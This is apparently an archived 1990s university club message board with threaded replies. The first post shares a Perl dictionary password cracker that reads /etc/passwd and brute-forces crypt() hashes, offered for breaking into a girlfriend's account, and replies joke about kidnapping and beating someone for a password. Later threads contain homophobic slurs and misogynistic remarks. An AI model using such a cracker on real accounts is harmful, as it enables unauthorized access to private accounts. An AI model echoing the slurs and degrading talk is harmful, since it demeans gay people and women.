9/22    look what i wrote. have fun cracking your wanabee gf's password!
        \_ and getting kicked off of soda
        \_ This assumes that you have a user readable passwd file.
            \_ or non-shadowed passwd, like soda's
                        \_ /etc/passwd must be world readable, so the

#!/usr/bin/perl

$twink = $ARGV[0];

open(PASSWD,"/etc/passwd");
do {
  $line = <PASSWD>;
  ($user,$passwd) = split(/:/,$line);
} while ($twink ne $user);
close(PASSWD);
$salt = substr($passwd,0,2);
$passwd = substr($passwd,2,);

foreach $attempt (`cat /usr/dict/words`) {
  chop($attempt);
  if($salt.$passwd eq crypt($attempt,$salt)) {
    print "password is: $attempt\n";
    exit(1);
  }
}
print "Unable to crack password\n";
                           "user readable passwd" implies non shadowed
               \_ soda has a shadowed passwd file.  all 4.4 bsd derivatives
                  have such a mechanism.  most modern unix like os's do.
                  only older's like ultrix, older irix, <= 4.3 bsd derivs
                        \_ even ultrix has shadowed passwds
                           \_ I am not sure if I would call that
                              monstrosity a passwd file, but okayn in that
                              case, I amend my earlier statement to include
                              ultrix and sunos as shadowable --jon
                \_where does soda keep its shadow passwd's?
                        \_ where no one but the people with enough clue
                           to RTFM can find them
        \_ Alec Muffett >> you
        \_ /usr/dict/words is a lame dictionary - real crackers use much
                much larger dictionaries
           \_ Real crackers kidnap the person, tie him/her up, and beat
              the shit out of him/her until (s)he gives you the password
                \_ REAL crackers get root shell...
                   \_ True crackers don't bother with gf's account. They
                      sift through her lingerie drawer for a diary
                      (amongst other items...)
                        \_ CSUA crackers sift through her lingerie drawer
                           and wear it.

9/21    Is there a way to make the "at" command on WinNT execute as a
        particular user?  Thx.  -- yuen
        \_ No.  Try a third party cron software such as Crond.
        \_ Yes. Try su for Win32 included in the NT ResKit. -slow
           \_ Where can I find NT ResKit?  I searched M$ website and I only
              found Resource Kits for Exchange, Project, etc, but not NT
              itself.  Thx again.  -- yuen
        \_ Which?
           a) you want to run the "at" command as a certain user, or
           b) you want the commands scheduled to be executed using a certain
              user's privileges?
           Questions sounds like a, but most people want b.
           Someone deleted my b answer, too. -jctwu

Legalize Oral Sex!

"Public media should not contain explicit or implied descriptions of sex
acts. Our society should be purged of the perverts who provide the media
with pornographic material while pretending it has some redeeming social
value under the public's 'right to know.' Pornography is pornography,
regardless of the source."

9/22    News headline: "Europe Fears For US Democracy After Clinton Videos"
        \_ Remember what I warned you about democracey? - a communist.
                \_ Like this country should give a flying fart's fuck what
                the European's think about democracy or anything else for
                that matter.  Can anyone here possibly imagine how completely
                fucked up this country would be if we ran it the same way the
                Euroidiots _try_ to "run" their countries?
                \_ See, that's cause we put all of our stupid people into
                   journalism and politics, then let them get in fights
                   with the Americans, while we're busy driving good cars,
                   having sex with gorgeous slutty European chicks (the
                   miniskirts got better since they started shaving their
                   legs;  do _your_ women wear miniskirts?) and drinking
                   better beer.  -John

In Clinton's 1974 campaign for Congress, he stated that there was

        "no question that an admission of making false statements
        to government officials and interfering with the FBI and the
        CIA is an impeachable offense."

and that when a president is guilty of such offenses

        "I think it's plain that the president should resign and spare
        the country the agony of this impeachment and removal proceeding,"

9/22    Why do people put those rainbow color stickers in their car?
        \_ I'm not sure exactly what it means, but I think
           it is a warning to other people. It says "Hey I am a dumb ass
           stupid pussy driver." From personal experience, these rainbow
           people are the worse drivers in the world. They leave 20-30 car
           distance on the highway and accelerate like my grandma.
        \_ that rainbow symbol = gay pride
           \_ that explains their faggot-like driving behavior, sheesh
              \_ It's nice to know that csua-ers are that mature.
